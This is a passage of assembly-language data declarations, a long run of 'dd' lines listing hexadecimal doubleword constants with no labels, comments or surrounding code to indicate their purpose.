0C0FB3AA3h, 9FBE572Ch dd 1C3D203Fh, 9FBA0057h, 0B12AEF3Bh, 8BEF0726h, 48258544h dd 451E244Ch, 80282135h, 72AFB4A3h, 8EFEF5DCh, 42EFDE38h dd 2A677F7Bh, 5C8C9D3Ch, 0CB9E46F4h, 0F8E84F89h, 739014F7h dd 81EBA3B6h, 9818F7ACh, 0AC462FDDh, 6E100C3Eh, 0E02DD5B9h dd 501A8E6Ch, 36080278h, 0B256C67Ah, 0F5F28868h, 0A4926864h dd 0FD0B1FD2h, 5FA8A1BFh, 0BB48D23Fh, 4743DB14h, 49C9ABA9h dd 3D41D008h, 45B35303h, 0D5AE0CBDh, 0D6F1E28Dh, 0ED2F5D5Dh dd 0B899F97Dh, 19E69E30h, 0E1C0553Bh, 8E64C61Ah, 2A48C9A8h dd 4B25BDB7h, 9E6C1D20h, 10DAA990h, 5BA175DCh, 977D1560h dd 8662F631h, 879358F6h, 8EAFBD1Ch, 0E0AA008Ah, 7B995882h dd 0E1C3B4C6h, 230B48A1h, 637289Fh, 98576BDBh, 6333A1C3h dd 0D92BBA54h, 751B7BFAh, 0FADFD1B0h, 0EF062C65h, 319A87E0h dd 84946BEBh, 779B3AF6h, 0D2F06C93h, 3E06375Bh, 5214397Dh dd 5E9A92CFh, 76FFB4BAh, 0F24C184Fh, 0E4EFD321h, 7DEED486h dd 0E05AD19Fh, 0E36C93F0h, 0B15BDBD8h, 5FEA4DBCh, 95AED273h dd 276EBBBEh, 3693E02Eh, 42DAD394h, 0E21B2178h, 0A21C2F7h dd 895BB179h, 0CEBD1042h, 445099F9h, 608013E1h, 0CA2F3A3Bh dd 0F5C54C56h, 0B4A2A519h, 1C295CCAh, 997AF1C1h, 0BA162774h dd 0DA7F2A93h, 6B58C019h, 0D138ECEh, 408F1CC2h, 0DE22F61Bh dd 88EC9430h, 9F89AA46h, 0B3C68045h, 0BF694F5Eh, 5B266339h dd 872C287Bh, 0FAF43433h, 8AA9A548h, 7E1269C3h, 28A15975h dd 592BA2CAh, 0F45E7FF9h, 0F374900Ch, 3D4C8EEEh, 0CF0671C8h dd 6C183196h, 8BA8D49Ah, 79F26490h, 2384A9CCh, 0FC3D3933h dd 253E078h, 4D2D80B3h, 5B35E3B7h, 0A5257183h, 48028A41h dd 7724295Ch, 4412D4B8h, 0AF7136EBh, 0B59F84FAh, 0DCA35E3Ch dd 55F6BF53h, 291E4BA1h, 0C3DF192h, 95C42AFBh, 0A7846AAh dd 54C9BED0h, 10FA27DBh, 567DB9CDh, 2360587Eh, 0FDC9E89Fh dd 7252A178h, 5AD1883Ch, 0F3D48B23h, 0DD407413h, 1ED67454h dd 6C9C6560h, 0B651C47Ch, 42C12D9Dh, 3926D6B6h, 5F2AD3D1h dd 77F1EAA0h, 4372007h, 5D48218h, 1533AA25h, 0DE63D9BAh dd 0B01C9832h, 0C5D9E3BCh, 0CE42AA3Eh, 9F4AF122h, 3835E880h dd 66DEA2BEh, 0BE312432h, 9E867311h, 0E387C4C5h, 395C8DE1h dd 23C1CB86h, 18717C78h, 0AE9D7610h, 5261B9F7h, 0CAE5D1DDh dd 0BD086725h, 86AE32E0h, 36733A60h, 0D6D11A6Ah, 5167A2A0h dd 9FBEDA0Ch, 58E34E67h, 0E0B71BB7h, 942D9203h, 0C43378D2h dd 44B705FFh, 69BB773Ah, 0C2FCB9DDh, 830177CEh, 70F7B609h dd 99D624Bh, 1ED6633Ah, 7C72309Dh, 0C82CF76Ch, 80938A20h dd 85B2D95Fh, 36F0FDFDh, 1009CF75h, 98353C55h, 932D4D81h dd 6A911262h, 0BE75D6B4h, 93B0FDC3h, 2E670923h, 19B8EEF4h dd 8D5464F1h, 0ECB7D95Ch, 8E2B0A2h, 86B588B7h, 73A3F1Bh dd 89701557h, 8E61E3DDh, 4708AA09h, 80BB8A4Dh, 3D086B8Bh dd 74D99E5Bh, 736D0580h, 0D591A6C7h, 695B709Fh, 51ECD0C4h dd 0F633A49Bh, 0EE40C116h, 404009A7h, 89D201CAh, 487E0610h dd 1366402Bh, 0F05386Fh, 15184AB1h, 68D85A14h, 7B5A6FFAh dd 3DB54AB2h, 0C2756062h, 6254215Ch, 0BDB5E63Dh, 403086C6h dd 87966A85h, 30BFC286h, 9A6F414Ch, 18CF9853h, 36CD95A2h dd 0C14CE21Fh, 0D9ECE8D4h, 9B0F736Dh, 0DB214A92h, 71BDB203h dd 77E3D661h, 12A3BC8Eh, 6A3D3BF2h, 74D466B1h, 0C21467E1h dd 668670DBh, 47D5999Eh, 1A00EDBCh, 2E8F3515h, 74EAF2FFh dd 0B243613Ch, 8CC88FF9h, 0B22ECDB0h, 21E4BFB3h, 0A704C298h dd 0FD46096Ah, 967EAEBh, 0F00D6C2h, 308177Dh, 7D0690C5h dd 0A1B4E39Ch, 0A3D7FA4Ch, 7B4B47B0h, 5810205Ch, 9E50A76Ch dd 0F5B6F73Dh, 0CB0CDB4Fh, 77064653h, 2FD60556h, 76005008h dd 0D97025D2h, 0A7943661h, 0C575C051h, 93D13841h, 0D39883EEh dd 0DD903D62h, 8FB265F7h, 0B9B323FAh, 0F569F791h, 5583D7CFh dd 4024AA6Ah, 0FCA99A27h, 0A353904Ah, 75050D44h, 590B16B5h dd 0DF845A13h, 0CFA957B1h, 1ED12882h, 7D12FE97h, 0BDA853C5h dd 4BF1E1B9h, 493B3B05h, 5C8FA2CBh, 0C6016481h, 2D6BF024h dd 93F5BE79h, 0BB912223h, 0EB82AAA0h, 0A7EDA67Eh, 4F5048B5h dd 8E49C1FFh, 7B9BCC65h, 60901B68h, 0AF276DB7h, 0EB470C58h dd 8F9DE068h, 1A060DFh, 0E6EBA2C1h, 8EF8893Ah, 0DADF0828h dd 16B0AD2Ch, 3F64B058h, 8826CFEDh, 2F302962h, 32223410h dd 53B18209h, 0A8F3154Dh, 7934A759h, 507EF085h, 200BDEFBh dd 0E33882B2h, 5625EDD1h, 0A229BF5Dh, 1AC1EB71h, 2CFA060Bh dd 8D6AAAE8h, 34C76D30h, 14FCA626h, 0F5FAF64h, 67E86A29h dd 35775741h, 4B5183C2h, 107A6D96h, 114C0053h, 0E721CC06h dd 0E429EB50h, 97F555DFh, 13286E98h, 0BAF297AAh, 61C552B7h dd 993E1248h, 0F4DB8EB8h, 0E2BC6835h, 0DACDBD46h, 0B9F354B9h dd 0BC10A848h, 0E4EAB151h, 0D804CB97h, 0CFB64AC4h, 9E1841Bh dd 42D5C1F1h, 71E6123Eh, 5244B8BCh, 0A851148Ch, 4B28876Ch dd 0C96671F7h, 0DD17EF86h, 97FE766Fh, 0D65F13E1h, 0F0331EC5h dd 2FC7073Ch, 884116C8h, 994A15DAh, 7B4AAF5Ch, 55415899h dd 11505EA9h, 0DFCECBDFh, 5784DEBCh, 2FC32EAEh, 6B530FD4h dd 0E3A0C576h, 0D692A4F2h, 0C6EFAE42h, 137482CEh, 40B04E37h dd 0C3022717h, 0E007822Fh, 0DF0EE729h, 0DDD2F4FCh, 33C6898Eh dd 0E9822081h, 43E403B8h, 0EF767619h, 0B07D8BA8h, 4865E98Ah dd 4BEAFF10h, 0DB37466Ah, 0C5FEBD19h, 9AB3173Bh, 263A355Dh dd 0A59ABB99h, 5F766897h, 2A21A76h, 9ABD7296h, 58351CFEh dd 272100C8h, 0D9E40AF4h, 17C1E734h, 0B5E8CB1Ah, 7B060064h dd 0B77138A0h, 2684AD24h dd 16AF9C64h, 0DE2923B3h, 9F8E809h, 2485F7F0h, 238A7771h dd 3F3B665Fh, 0DEB74B13h, 8A2CFB1Eh, 6D394B4h, 548E061Ah dd 51029D2Eh, 40C77B2Fh, 97318B6Dh, 0E73AB95Ch, 5D9F1A93h dd 874B87B4h, 19F9DD02h, 0B16DA0D1h, 6D4D16F1h, 0C0A9C295h dd 0AA6D4149h, 0BF776593h, 747D40D4h, 5CFDB2B7h, 64257ABBh dd 2D5BC913h, 21AF794Eh, 0C0F96FF9h, 8027658Dh, 86C23Dh dd 0EA59F0D8h, 594D7484h, 238746B1h, 6336309Dh, 81101A8Ah dd 0C510B5C4h, 68E71202h, 0BAB4657Ah, 0C1FF841Ch, 0DA336873h dd 394F9F5Fh, 418ACCCCh, 0DBF0F42Eh, 96974E3Ch, 944CA1C1h dd 4CCDF96h, 1B3D27A0h, 0A98EA345h, 1D29F9Dh, 66AC7F57h dd 0B59CF9FCh, 0ED1EE83Bh, 0D7767FF3h, 9FA96C3Ah, 0BFE55B64h dd 0FB77B4h, 0F4B51569h, 52278F10h, 2AF93C22h, 0B3DD8745h dd 0B70C0A6Dh, 15862196h, 0C1B936AFh, 1D74EE4h, 0C7B38C2Ch dd 27625FE1h, 85F21912h, 0B4E8B1A0h, 72F27FFEh, 9AB06EA8h dd 5F489CEh, 6AA87B95h, 0F2A64F90h, 0C94F9960h, 3316C3C0h dd 3A2138CBh, 234E8107h, 645D56CEh, 0DFC89219h, 91B00837h dd 420D49AFh, 59760B2Ah, 0E195F552h, 0F918E073h, 214AED8Dh dd 6FFC3232h, 250ED21Eh, 4AAEB920h, 27FC0659h, 0B3DDC777h dd 178E1DF6h, 1153AA11h, 0C10CA208h, 5104DADBh, 337AB490h dd 6D82A34Dh, 80AAC0A8h, 0B04AC6EFh, 519896h, 109D159Fh dd 85AAD951h, 777855DBh, 941436A8h, 78B450E1h, 3C73D606h dd 29F21EC2h, 4CD0E51Eh, 901859B2h, 4DAC6718h, 6B4666B5h dd 1D90D6BAh, 0F4D181C0h, 0B38179B8h, 0FE47C17h, 0A1EEF91Dh dd 3AE2A788h, 72FFD595h, 744C3F16h, 4029737Eh, 0FAF235A8h dd 0F8F1A3ACh, 0D3BD6A88h, 95591F81h, 44F2EC97h, 914BF37h dd 74CBC3A9h, 0BDBACA2Eh, 0F52DFCD1h, 0D0AE20E2h, 0D1B25693h dd 84610C1Eh, 898F7224h, 72E4D2F0h, 122773B7h, 0A694A0EEh dd 58E2958Bh, 64C67D40h, 758138AEh, 96FF59E4h, 0F6BDF0F1h dd 0E9C699C8h, 8751A6A9h, 3DC8FB4Bh, 1FD4EABAh, 0AAF249DBh dd 795853E5h, 2ED54E19h, 813C7C24h, 5205DC8Ah, 82C8B8AEh dd 405C9065h, 25F2994Bh, 28804C40h, 0A976EB31h, 0B571B2DEh dd 0F4A0D729h, 348DDE14h, 0BA57DC45h, 0D545E41Eh, 3249DD3Bh dd 7C3749A3h, 13ED4D00h, 0A106630Eh, 9D2EED25h, 0A8809270h dd 1B23DC93h, 6B198225h, 4EDD1FAEh, 0D61A66DAh, 8EBBC999h dd 3B39169Ah, 585E17F6h, 6272DAF0h, 1CD0AE83h, 868F5130h dd 3BBDA60Ah, 433DEC62h, 86860F47h, 16FFA55Ch, 75F529A5h dd 186DD54Dh, 973EDC36h, 5E0EE463h, 283C98B4h, 0E1C5DD34h dd 18CEEF47h, 202E26ADh, 0DE5A05ABh, 0AA5E6542h, 444F98A0h dd 4129D740h, 0BDDA8DF7h, 55C4BEDh, 0F15A0435h, 0A8C1F709h dd 0BF47173Eh, 4FFE82FEh, 7623BA5Dh, 3CB39D39h, 2C3FF234h dd 99FA2859h, 0A74896F1h, 29B97093h, 452B5A2Eh, 18C35A16h dd 0A6783E46h, 0F6D07AEBh, 0D3BE9DC1h, 4215ECE2h, 2A658B46h dd 1B1AE621h, 20DC1EB6h, 0F9B5D583h, 5CEB4D1Ch, 0F82971A4h dd 0D3760753h, 0B585DC56h, 0C7A620D8h, 85AD6D71h, 0E451A033h dd 396EC704h, 9E51EF1Fh, 0C9F49BEh, 117FEECDh, 93AFED1Bh dd 54BFE1AAh, 67112BEFh, 9A66D988h, 75CBBE9h, 32F8D8DBh dd 5939CC2Bh, 0AFAB762Ch, 59795860h, 0F3BE42B2h, 9FD4BC81h dd 758F959Eh, 1CF7F7ABh, 9CF1D0E4h, 0DA93FA59h, 4080F00h dd 956A7EF7h, 985695F1h, 0D9B4B992h, 21D897E8h, 30E8327Fh dd 0B478E1C1h, 6CD241D7h, 9CAA529h, 0E66DD07Ch, 0DF2786D4h dd 9C4E6780h, 0E054D8Bh, 4238795Eh, 5D38046Ch, 18A9A6D1h dd 0DE0C5BAFh, 994806Eh, 3781FFFBh, 0F97C4A52h, 0FDC0498h dd 9EE0AD33h, 2964E96Ch, 359F260Eh, 0AB61164Dh, 0F928BFEh dd 5BFBA265h, 99B52C38h, 0D6A36A9Fh, 3655D4F5h, 0AAA32D83h dd 0CCAD8F6h, 81C19EF9h, 0B8A482ABh, 7622CC61h, 0E0A05F1Fh dd 5D00B235h, 0F6F999DFh, 19C80AEAh, 6957C14Ah, 19715E95h dd 1242EDC4h, 3918C79Bh, 8C9C65EDh, 78EBCC6Dh, 7B3D477Bh dd 0FC946B41h, 4EAD18C8h, 0E56F1D2Eh, 0A0F3FCEAh, 0DA6DA2F4h dd 15F81222h, 0A0034ECEh, 46C0C94Ch, 51EC30C3h, 452DB480h dd 67A7BC65h, 3E657FF7h, 93414AABh, 0FDE981B5h, 6CE57847h dd 98AD023Ch, 6B57CF7Ah, 0CF84E153h, 15C48935h, 122F277Eh dd 0F394136Eh, 0A761D5E3h, 219737C3h, 0CB56D368h, 835D9C21h dd 64F62A1Ch, 7FD5D129h, 6803EDE3h, 0DB8BFC91h, 7E369666h dd 5B141F7h, 14CB51A7h, 0DE9F5C99h, 0CB406A7h, 7F11DB6Bh dd 9C62300h, 60DF44C1h, 0D237C52h, 0AD8E5693h, 0D36CCCC9h dd 0ECC91E52h, 4F59C9D5h, 56D5B83Dh, 0C2E36CE3h, 0C53B8995h dd 0BA11FD6Dh, 0E9A9AE08h, 6FB79D29h, 1F5AF732h, 0BB3139D6h dd 0F4A41B08h, 3EEA42DEh, 0BD233751h, 0D3D85E59h, 3C3003C0h dd 1A894B47h, 4542308Ch, 0F4798B67h, 0F7DC71C2h, 3364D75h dd 0D47D2272h, 0DF4D469h, 848747F3h, 0BF87713Ch, 966F17A1h dd 1FF20250h, 25F3161Bh, 0B03FDA7Fh, 0FF8D72B9h, 4DEE6709h dd 517C1FDBh, 0C5B57BEBh, 0A51FDB61h, 78D5566Fh, 0EB218359h dd 0D50A9629h, 3298C713h, 1512AB57h, 0D7FE1F06h, 7CA0CBC1h dd 3BCFA935h, 0B45EF846h, 0D73CE3A6h, 0A264FB64h, 0CD41C0D8h dd 281D934Eh, 79B0467h, 1EE6258Eh, 1120CA8Ah, 0C307CD2Bh dd 0B4D31C61h, 52F7C033h, 0CE5303F9h, 0D028F6AEh, 3172AA82h dd 70898D0Ah, 22AF329Ah, 0C34003EAh, 0ACA1EFB5h, 0EB52E7A0h dd 9519F560h, 68B556B1h, 5B432822h, 91F4642Ch, 56D0E48Ah dd 0EBCB6A68h, 0CC13F97Fh, 2E84D1E4h, 32D77E23h, 424F02EAh dd 42CFA2D3h, 0DB869C69h, 15B0C8F9h, 0A55B886Bh, 8F72787Dh dd 920F3026h, 656252B3h, 13FC0A7Ah, 1FF5DB93h, 29E1A0E8h dd 0D09B68E6h, 0B7670A43h, 952D2DA9h, 0B2DF0DFFh, 41F3BDCAh dd 74162ADEh, 70149A5Eh, 8ABEC5D5h, 0F5CDB510h, 3211A515h dd 0DF6B5F00h, 60724A0Bh, 9377B976h, 78A3F8BFh, 0B0FC0452h dd 0FB752115h, 0D113B10h, 2F8163D7h, 205E2C25h, 0F8AFA8F0h dd 0D3072113h, 0B118FA8Ch, 0F120B372h, 5440055Bh, 5B916392h dd 0E8269982h, 0C6EBB062h, 5278BB83h, 0F978CA79h, 0D4312A9Fh dd 3198BF14h, 0FCF3E869h, 0D3CDD7D0h, 0CA8FB7BAh, 557BB125h dd 0CBD40EF3h, 99ACFB1Ch, 4B7AFF17h, 0B41CB8C6h, 7C8E0A7Fh dd 0BCBCE5EBh, 1BA98645h, 22B81F99h, 0D37E2FA8h, 0D9194E03h dd 0C8CAD3Dh, 7E4DD55Fh, 0C8E698AAh, 731CA0D2h, 5C54FF21h dd 427C2C29h, 57A3AB2Bh, 1A9C2B6Fh, 8F227F03h, 0A2459F5h dd 3AFFADE2h, 87DB8BB6h, 76EF0A09h, 9796CA52h, 52D87866h dd 8B7CBDD9h, 457E760Fh, 1BBF3EBEh, 0A14669Ah, 15D991D9h dd 72DE1665h, 0B599DEA5h, 0ADB6810Dh, 0F6ADF6F7h, 645C2209h dd 668A1168h, 31EC6D4Dh, 0EDDF43C4h, 0FA98A028h, 5B9CC493h dd 0A9DD17FDh, 35064602h, 80B44A23h, 798A7376h, 0CE46BDC3h dd 45C73E5h, 0F05F8297h, 0B7A976C5h, 0FBB1CA3Dh, 9E511E99h dd 7E78853Fh, 1B4179E1h, 91D721DAh, 0F8D88831h, 0EDE0500Ch dd 5D31DE6Bh, 0D4B29DDFh, 6994C7EAh, 5FE3C782h, 102963F3h dd 0E20FB9BDh, 23E653D1h, 0BB45AAC1h, 130DF105h, 0D5CEF267h dd 224A2F33h, 99CF7A34h, 0E04DFDBAh, 92A5183Bh, 0F3D389D5h dd 0D48FCD12h, 75ABB657h dd 3BC43C5Fh, 1ACDC9FFh, 0C3487752h, 0EDD74690h, 4DA70B20h dd 0B49D2507h, 0D6E99502h, 612CEDB6h, 216A6527h, 7F59A3FCh dd 0A0FFB53h, 8D29C6C2h, 0C2326E4Eh, 0EF86BD7Dh, 75C871F9h dd 0D2CDF9CBh, 0B7A5B346h, 0AAC7E9Ch, 0AA9F858h, 2DF3EDA9h dd 3C6752DEh, 67EDABD5h, 0B0829E70h, 0AC3F2BA8h, 0FD45B5A8h dd 0D861D710h, 52AFE85Fh, 884D7573h, 69EE7899h, 0EFB9EEE3h dd 0E6D32A35h, 3C1B6F90h, 91A190B1h, 841E6A17h, 37CF2E5Ch dd 0BB28B44Bh, 0DD5D0B4Ah, 0B9296AA9h, 4C8E4234h, 61100E1Eh dd 0D749D391h, 6F2CAE6Fh, 2F5B721h, 0B6D7FA0Eh, 48A97D15h dd 0D1BE310Ch, 0A9766D54h, 6107D096h, 3B6651BBh, 0DA7E9537h dd 2F002107h, 89C45284h, 53B18763h, 719014FBh, 558D21CCh dd 115D4EBDh, 9465E13Dh, 0CBA931ECh, 0F6D5B368h, 8E9472ADh dd 0C0207147h, 31BC4E65h, 31DD0DE1h, 49670B02h, 98FEBC4Ah dd 8FB35F9Ah, 0A2FD17FFh, 0EAC71F69h, 15E31FF1h, 59F8EFA9h dd 1C221EF3h, 0B7C28DB1h, 483CDE26h, 6829B257h, 4EE69A20h dd 61AD7C6Dh, 0A2A31DA0h, 240D1F07h, 0E1CA7BECh, 48A5C6EEh dd 378C2710h, 0AF420F86h, 4ED93335h, 84305C3Fh, 83730615h dd 0D3D93400h, 8D13B1DEh, 9D7AC2B9h, 0D77D5935h, 0CDA58D16h dd 0EEC67C2Ah, 880D1C85h, 0DA76CE6Dh, 0A16D12Bh, 2922C728h dd 0F5003715h, 0DE61E349h, 86ADF91h, 8B1E1B57h, 1ADA945Ah dd 0CBAC4BEEh, 51CE6A88h, 4B31D094h, 2A3ACB17h, 5FDC619Fh dd 0A4240A62h, 0A81F567Ch, 8BACBD33h, 10950535h, 0F4131F7Fh dd 0BD6524B9h, 0E52BC946h, 0C418DA02h, 61172591h, 0AE528DACh dd 9E9A3ECAh, 0E1D964B3h, 0DEB9EB84h, 779D7BA1h, 44697F9Bh dd 912727h, 0F8AA50EAh, 5D68F6CCh, 5FDFE268h, 0C1368C1h dd 0F5AD2D16h, 0B5EC30EBh, 3662C7C8h, 0E39C1F28h, 8C5333DBh dd 9BCF58C6h, 0D6976E25h, 0E742748Bh, 0C211FF32h, 0AC719223h dd 89F7DAA0h, 5869B8C6h, 60322E74h, 0B22DF31Dh, 8222325Dh dd 0A0324151h, 9563CF25h, 19696D8Fh, 1AAE9702h, 288F34Bh dd 7CEBE227h, 0ED1A78AFh, 0A329B18h, 0A8D44DCEh, 0C2C5AE99h dd 9FDB1B81h, 3B70C17Dh, 96C9BC3Eh, 0C7FD8736h, 5A3C1036h dd 605758FDh, 0C20FC23Ch, 4BF6EC0Fh, 0B6433BB7h, 77C49373h dd 22FCFEDDh, 0D51AD16Eh, 0AF61A89Ah, 933C9065h, 0D903C5DDh dd 0FABE8772h, 0B3303E12h, 49680D40h, 49054CD2h, 0C93DEC98h dd 16760028h, 12120713h, 0A4845614h, 0B180FB7Fh, 3F446504h dd 15B42C92h, 0BAE083ADh, 0A5162A55h, 79B911B1h, 3594D625h dd 46F1989h, 0BE8FFFECh, 9E1FA551h, 0E358AFA8h, 0A1119D54h dd 0CD2EE065h, 70D474D2h, 5E0295F4h, 3F50B7B4h, 6774A958h dd 558FCC4Dh, 7D57352Fh, 80EF783Ah, 48852ED3h, 0F963ACA9h dd 6356119Bh, 0BBCF8F02h, 6BC998FFh, 0BD23B25Ah, 0D9F825CDh dd 65E72BEFh, 35DBF437h, 0F443D7E4h, 8CA793D5h, 2D450079h dd 0A8A9FE16h, 75D46DCCh, 0F94FE3BBh, 40FE651Ch, 0A17B4B35h dd 0F93E1902h, 5EE1F87Ch, 0CF4D37F3h, 2CF14A10h, 54EB2F71h dd 3C7E7DBBh, 0B7CAA002h, 0ACF7CB9h, 17656FE0h, 38BFCCF1h dd 0B9E3EFBh, 0ACD961EDh, 0D61AEE65h, 391AFD42h, 0EAC4DF3Dh dd 0DD770239h, 4FF48BEFh, 46869340h, 0BB025583h, 0FFAC4C23h dd 0A7611EABh, 3197511h, 184E8584h, 6DEF63B8h, 0D50FA518h dd 16481FCFh, 15F6995Fh, 0AE474F9Bh, 9BDA1CE8h, 276F8187h dd 273FEC6Bh, 0EC0D07A1h, 402E68A0h, 0E2F315B0h, 0D6BC2CF1h dd 8844764h, 9925220Dh, 0C338B0E7h, 996A93BAh, 0A805B5ACh dd 5986B308h, 91CC825Eh, 4E50C311h, 0DA6635A8h, 154CE429h dd 8B401EA2h, 1B5DB6B0h, 121DE99Ch, 0DFE3D4F5h, 6C50D7B4h dd 0EC2F1786h, 0BECC8827h, 8BD8A230h, 0F4F5C2BAh, 2800BD5Ch dd 1CCC603Bh, 41B8CEADh, 17F65C42h, 91DF667Eh, 0F51E9F9Ch dd 0AE24F374h, 0F8D0DEC8h, 0A13AA4CEh, 20646D7Eh, 1BC9993Dh dd 36B78829h, 0BCB75B1Fh, 0CD1FA80Dh, 88658B85h, 82C6E606h dd 0FB2F5F85h, 85F21EDEh, 0F7228F59h, 0F21F13C1h, 52E49004h dd 5D5EBFC2h, 90FBD4Dh, 824C41D7h, 0AD9B60A7h, 1006F325h dd 735B731Fh, 8A218FDAh, 0F50937B4h, 0FB97B9C2h, 6BB33E5Eh dd 0CDBAC63h, 7E48A3EAh, 55E9D59h, 0FFA9DE5Ah, 452D52B1h dd 8529D8C7h, 3CE1FBE8h, 7C340188h, 0B6C1B18Fh, 8EAC30B6h dd 0E29DB5E0h, 0B06C5D09h, 5311297Eh, 63478771h, 23D76593h dd 0C58EDFD5h, 86E7ACA9h, 5227D379h, 75481154h, 6C3FEA45h dd 73F18FC3h, 570C842Ah, 6294B0DAh, 2B6F6709h, 29C31085h dd 7D2C1586h, 2682F339h, 0B4183636h, 27F0F835h, 3F1B54F0h dd 0E02444F1h, 4E744619h, 8AE4F154h, 857963ECh, 0C928082Bh dd 46D1D067h, 575592F4h, 73842276h, 0A699EE21h, 2FEB16B2h dd 3A3ABAEAh, 0B37680E5h, 0F3D4F73Dh, 0F5754784h, 0CAB66835h dd 6C590050h, 0D32F7964h, 0D3DFBB18h, 0B5CB6Dh, 9AA95224h dd 0A2A3CDC6h, 0D676F70Fh, 40320F2Dh, 3B9F367Eh, 922AADBEh dd 0E6B225E1h, 7122827Ch, 84A06644h, 910A0837h, 40F32CD1h dd 0B0273881h, 0DA7861B8h, 0E5B17D85h, 9E34B81Ch, 4115C27Ah dd 74BD77F7h, 29D655DCh, 0E3077187h, 0B4724A29h, 9D771E99h dd 36396A54h, 11116A24h, 0D6B26541h, 91386F27h, 356FB181h dd 524BDAA0h, 246C1CF1h, 20465E0Fh, 0A7C9858Ch, 0E208D66Dh dd 69E6A594h, 0E74377ACh, 0A92FFAA4h, 3DD11032h, 0AC860471h dd 25EF7AC1h, 0BB12D3E8h, 0DEFB2A2Ch, 0E2F4E20Eh, 0E24261FEh dd 2914C258h, 0BC826D39h, 35E502A0h, 8CF93F7Eh, 963DA596h dd 0E0A28862h, 32B018DAh, 7D8FFB53h, 0FFF44720h, 0A2F8EC65h dd 0AA68437Ah, 560754B3h, 7A19E1E2h, 8AB5FC7h, 0F5C4CA61h dd 0A58448A1h, 823C7B53h, 0E3E45660h, 7B6AD68Dh, 60FDED09h dd 0EF840B25h, 5C793B7Eh, 6D337317h, 1F6BC315h, 0A751BBB6h dd 70F62F66h, 0BF730706h, 55AE288Bh, 0F109BC67h, 39A303E9h dd 0ADDB3391h, 48D8986Ah, 0EEBFA5Eh, 33407113h, 292F94BAh dd 23A42B1Eh, 626EEC3Ch, 1017ECFAh, 4C69F6C7h, 0DE3D5457h dd 626D908Eh, 2F2C2CD4h, 7C796A48h, 905D72B5h, 0A7BC81B6h dd 3B430E2Dh, 1ABD52h, 0F4270421h, 5B4A7C8Fh, 7615F216h dd 8500BC7Dh, 461476B2h, 2E5ED1BDh, 0E110C835h, 0AA929545h dd 0F85AC9EDh, 0A0F64D7Ch, 0D61211DBh, 36B53262h, 0E0DF1E38h dd 8FA0AF23h, 93A419E8h, 7DF7C303h, 0D3F6C4BFh, 0ACA9A19Eh dd 0C8B139FCh, 0D71F8B8Dh, 7791672Bh, 8B467615h, 0D6FBD5C9h dd 540C8128h, 301A955h, 24964668h, 0FD79EDFBh, 0D3069315h dd 1ACF93ACh, 2B451AEEh, 367A92D2h, 0CA0F2D34h, 8403AD99h dd 15871332h, 0D000E7Ch, 704CF31Dh, 0D36E66EAh, 0DB576498h dd 883D58C3h, 43AC2B75h, 669EE1B9h, 0F7F68A78h, 0B4AAE879h dd 0A3F5148Fh, 2C44FC4Eh, 0E161B78h, 457EB47h, 696B33FEh dd 73FF023Fh, 24750E52h, 7312DFFCh, 948BC3Eh, 0A6B1FEC5h dd 0B81D890Ah, 0DE18275h, 0D2F4A544h, 54CFD578h, 0C54DA093h dd 66D1C2D7h, 24EDE5DFh, 0B4FF4E71h, 0A52F6A63h, 3CC69596h dd 4076E733h, 0DD7F6E64h, 7F9B96Dh, 16232495h, 0FF7E1370h dd 0D09D78DAh, 3FCDB012h, 0C01532E7h, 0B219F06Ah, 476AB78h dd 9AA5010Dh, 849E8AFBh, 771BC93Eh, 0F1D1A922h, 0F2A6ACE7h dd 6C191D41h, 2E319201h dd 0FA219B1h, 0B0F006D2h, 77EA8027h, 3B122071h, 2C422361h dd 48390A9Dh, 5F80E42Ah, 6C71FA2h, 0B333CBCCh, 8D249A58h dd 0DD944FADh, 16562426h, 3858DB9Fh, 7A2959D9h, 316E9021h dd 50A5213Bh, 85ED722Bh, 0E695D300h, 99A8B689h, 1B7E075Fh dd 650591C5h, 0E0D65589h, 615CC584h, 0C88289FDh, 52248833h dd 2284A4A7h, 7108E5A1h, 4B94B110h, 0FB6C622Bh, 0BB94C92Ch dd 5AF5B1B5h, 440DB63Dh, 37FBF872h, 5EF25BDDh, 0CA255DAFh dd 0B7A5E5DCh, 7D96B44Ah, 39B3769Bh, 4F6C181Eh, 637EA528h dd 0DACD87FBh, 33BF41BFh, 0ACB29BBBh, 0C295EE97h, 60261148h dd 0E9CB90D8h, 0EBA51C58h, 7E8E983Bh, 9FE5FB35h, 1D40A719h dd 99DF10C7h, 8E112502h, 248A302Ah, 0D0140F0Dh, 2AE6137Bh dd 0BB9B70DFh, 3EDD0011h, 568EE6C4h, 0FECCF4FAh, 72D4360Bh dd 0FA52388Ch, 141E8951h, 8EF69851h, 80E79A43h, 17B1C1FDh dd 0F2AC564Dh, 0F9E3CEB6h, 0B237CFC5h, 0BA775FE9h, 0E3B26AFBh dd 0F79A0439h, 388F93Ah, 961F0CA5h, 5B6FCCDDh, 4EC93ED2h dd 0E965DBA6h, 0B12ADDABh, 0CC300CCFh, 71BA5AF6h, 0CC5146B5h dd 33A90BC8h, 0C1F6376Eh, 0E2FA59CCh, 0DE1FC953h, 68C018C5h dd 13148E06h, 0CCDB37EAh, 5A195184h, 0E2C00AEBh, 0C66A415Eh dd 6FB772CDh, 51A30344h, 83086465h, 0A67A377Dh, 70E74A73h dd 0B6BD9EE3h, 0A1C00D73h, 90288525h, 6F995295h, 46F68AA7h dd 0C4134A97h, 76A01700h, 0D2D2D941h, 5DF84F25h, 0AA798224h dd 43FCE23Dh, 7B4DF610h, 8B48BEB2h, 0F1C4B5F2h, 0ABAED888h dd 104EC9CEh, 148186D0h, 0D8CD4C47h, 0E3C5BC97h, 2541C875h dd 0DAC41AD2h, 42F7329Bh, 4F346B5Ch, 3C545CEEh, 0D2923C1Eh dd 0C6A03739h, 0E4F30B64h, 28A7D56Eh, 7AB20367h, 56E9EF51h dd 50DF2379h, 406D01C0h, 4BC6AC0Ah, 0A5BB46D4h, 91FFCF9Dh dd 5BD6AB73h, 3D757A79h, 42EABF45h, 62A0C8E1h, 161FD03Eh dd 4543930Dh, 55B14FF5h, 278DFD5Ah, 5026E6CEh, 7D7CA140h dd 0BFDCD4D0h, 452BEF2Ah, 232E2F3h, 0D547C37h, 624A70DDh dd 0A4809316h, 5DFE2404h, 0B8194782h, 9E14D2D0h, 4687028Fh dd 0F45D149Eh, 0B1BC130Eh, 5420A853h, 5FDCAAE6h, 6645A0D9h dd 981F30B2h, 0D6C16506h, 0F28DBAE4h, 9FCDCB6Dh, 36785EFDh dd 0B84F2F57h, 0E373BA77h, 2014B81Ch, 0EF9A0708h, 397B911h dd 6F58B498h, 0F6FF2F1Ch, 0FD1046A8h, 2EA842D4h, 